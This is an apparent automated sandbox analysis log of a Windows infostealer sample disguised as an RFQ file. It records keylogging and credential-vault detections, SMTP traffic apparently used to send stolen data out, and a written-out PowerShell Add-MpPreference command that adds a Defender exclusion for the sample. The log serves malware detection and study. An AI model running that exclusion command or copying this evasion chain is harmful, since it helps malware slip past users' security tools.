Source: Yara match	File source: 0.2.RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe.23aca10df40.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe.23aca0d0af8.1.raw.unpack, type: UNPACKEDPE

Source: global traffic

TCP traffic: 192.168.2.10:49702 -> 185.230.214.164:587

Source: global traffic

HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: Joe Sandbox View

IP Address: 208.95.112.1 208.95.112.1

Source: Joe Sandbox View	ASN Name: TUT-ASUS TUT-ASUS
Source: Joe Sandbox View	ASN Name: COMPUTERLINEComputerlineSchlierbachSwitzerlandCH COMPUTERLINEComputerlineSchlierbachSwitzerlandCH

Source: unknown

DNS query: name: ip-api.com

Source: global traffic

TCP traffic: 192.168.2.10:49702 -> 185.230.214.164:587

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: ip-api.com
Source: global traffic	DNS traffic detected: DNS query: smtp.zoho.eu

Source: RegAsm.exe, 0000000B.00000002.2509923111.000000000129E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2510069403.0000000002DBE000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2510069403.0000000002F6C000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2513997940.0000000006050000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2509923111.0000000001288000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.thawte.com/ThawteTLSRSACAG1.crt0
Source: RegAsm.exe, 0000000B.00000002.2509923111.000000000129E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2510069403.0000000002DBE000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2510069403.0000000002F6C000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2513997940.0000000006050000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2509923111.0000000001288000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cdp.thawte.com/ThawteTLSRSACAG1.crl0p
Source: RegAsm.exe, 0000000B.00000002.2509923111.000000000129E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2510069403.0000000002DBE000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2513997940.0000000006050000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2509923111.0000000001288000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2513997940.00000000060BB000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2513997940.00000000060A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl0=
Source: RegAsm.exe, 0000000B.00000002.2510069403.0000000002D61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com
Source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe, 00000000.00000002.1403203192.0000023ACA001000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2507112723.0000000000402000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2510069403.0000000002D61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/line/?fields=hosting
Source: RegAsm.exe, 0000000B.00000002.2509923111.000000000129E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2510069403.0000000002DBE000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2513997940.0000000006050000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2509923111.0000000001288000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2513997940.00000000060BB000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2513997940.00000000060A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0B
Source: RegAsm.exe, 0000000B.00000002.2510069403.0000000002D61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: RegAsm.exe, 0000000B.00000002.2510069403.0000000002DBE000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2510069403.0000000002F6C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://smtp.zoho.eu
Source: RegAsm.exe, 0000000B.00000002.2509923111.000000000129E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2510069403.0000000002DBE000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2510069403.0000000002F6C000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2513997940.0000000006050000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2509923111.0000000001288000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://status.thawte.com0:
Source: Amcache.hve.14.dr	String found in binary or memory: http://upx.sf.net
Source: RegAsm.exe, 0000000B.00000002.2509923111.000000000129E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2510069403.0000000002DBE000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2510069403.0000000002F6C000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2513997940.0000000006050000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2509923111.0000000001288000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe, 00000000.00000002.1403203192.0000023ACA001000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2507112723.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://account.dyn.com/
Source: RegAsm.exe, 0000000B.00000002.2509923111.000000000129E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2510069403.0000000002DBE000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2513997940.0000000006050000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2509923111.0000000001288000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2513997940.00000000060BB000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2513997940.00000000060A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.digicert.com/CPS0

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to log keystrokes (.Net Source)

Source: 0.2.RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe.23aca0d0af8.1.raw.unpack, gmBpn1ecBmQ.cs	.Net Code: cTytqmH
Source: 0.2.RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe.23aca10df40.0.raw.unpack, gmBpn1ecBmQ.cs	.Net Code: cTytqmH

System Summary

Malicious sample detected (through community Yara rule)

Source: 11.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe.23aca10df40.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe.23aca10df40.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe.23aca0d0af8.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe.23aca0d0af8.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe.23aca001a78.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe

Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Code function: 0_2_00007FF7C19362E0	0_2_00007FF7C19362E0
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Code function: 0_2_00007FF7C193194D	0_2_00007FF7C193194D
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Code function: 0_2_00007FF7C193A950	0_2_00007FF7C193A950
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Code function: 0_2_00007FF7C1936190	0_2_00007FF7C1936190
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Code function: 0_2_00007FF7C193EBBA	0_2_00007FF7C193EBBA
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Code function: 0_2_00007FF7C1933898	0_2_00007FF7C1933898
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Code function: 0_2_00007FF7C193CFB4	0_2_00007FF7C193CFB4
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Code function: 0_2_00007FF7C19467E8	0_2_00007FF7C19467E8
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Code function: 0_2_00007FF7C193D779	0_2_00007FF7C193D779
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Code function: 0_2_00007FF7C194071A	0_2_00007FF7C194071A
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Code function: 0_2_00007FF7C1941F1F	0_2_00007FF7C1941F1F
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Code function: 0_2_00007FF7C1A20000	0_2_00007FF7C1A20000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_010E41F0	11_2_010E41F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_010E4AC0	11_2_010E4AC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_010ECEA0	11_2_010ECEA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_010E3EA8	11_2_010E3EA8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0665B5B8	11_2_0665B5B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_066533F8	11_2_066533F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_06650040	11_2_06650040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_06659E28	11_2_06659E28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0665EA68	11_2_0665EA68
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_06655B98	11_2_06655B98
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_06659128	11_2_06659128
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0665AED8	11_2_0665AED8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_06E66A10	11_2_06E66A10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_06E6118C	11_2_06E6118C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_06E61FF6	11_2_06E61FF6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_06E60040	11_2_06E60040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_06E60006	11_2_06E60006
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_06650006	11_2_06650006

Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe

Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 7312 -s 1144

Source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe

Static PE information: No import functions for PE file found

Source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe, 00000000.00000002.1403203192.0000023ACA001000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameIxoquxasuxakedomicoH vs RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe
Source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe, 00000000.00000002.1403203192.0000023ACA001000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename7bc3a901-84f9-4a81-8277-20a61843655f.exe4 vs RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe
Source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe, 00000000.00000000.1252851961.0000023AB800A000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameAmaxuqeB vs RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe
Source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Binary or memory string: OriginalFilenameAmaxuqeB vs RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe

Source: 11.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe.23aca10df40.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe.23aca10df40.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe.23aca0d0af8.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe.23aca0d0af8.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe.23aca001a78.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers

Source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe, -.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe.23aca0d0af8.1.raw.unpack, roEs93G.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe.23aca0d0af8.1.raw.unpack, roEs93G.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe.23aca0d0af8.1.raw.unpack, JQn0Aia1.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe.23aca0d0af8.1.raw.unpack, JQn0Aia1.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 0.2.RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe.23aca0d0af8.1.raw.unpack, YsrmZ97b.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe.23aca0d0af8.1.raw.unpack, YsrmZ97b.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe.23aca0d0af8.1.raw.unpack, YsrmZ97b.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe.23aca0d0af8.1.raw.unpack, YsrmZ97b.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe, 00000000.00000002.1404704607.0000023AD2901000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: f:\binaries\Intermediate\vb\microsoft.visualbasic.build.vbproj_731629843\objr\x86\Microsoft.VisualBasic.pdbTg
Source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe, 00000000.00000002.1402060140.0000023AB8203000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: f:\binaries\Intermediate\vb\microsoft.visualbasic.build.vbproj_731629843\objr\x86\Microsoft.VisualBasic.pdb

Source: classification engine

Classification label: mal100.spre.troj.spyw.expl.evad.winEXE@9/11@2/2

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7884:120:WilError_03
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7320:120:WilError_03
Source: C:\Windows\System32\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7312

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bjisuyec.ouf.ps1

Jump to behavior

Source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe

Static file information: TRID: Win64 Executable Console Net Framework (206006/5) 48.58%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	ReversingLabs: Detection: 28%
Source: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Virustotal: Detection: 26%

Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe

File read: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe "C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe"
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe" -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe"
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 7312 -s 1144
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe" -Force	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe"	Jump to behavior

Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
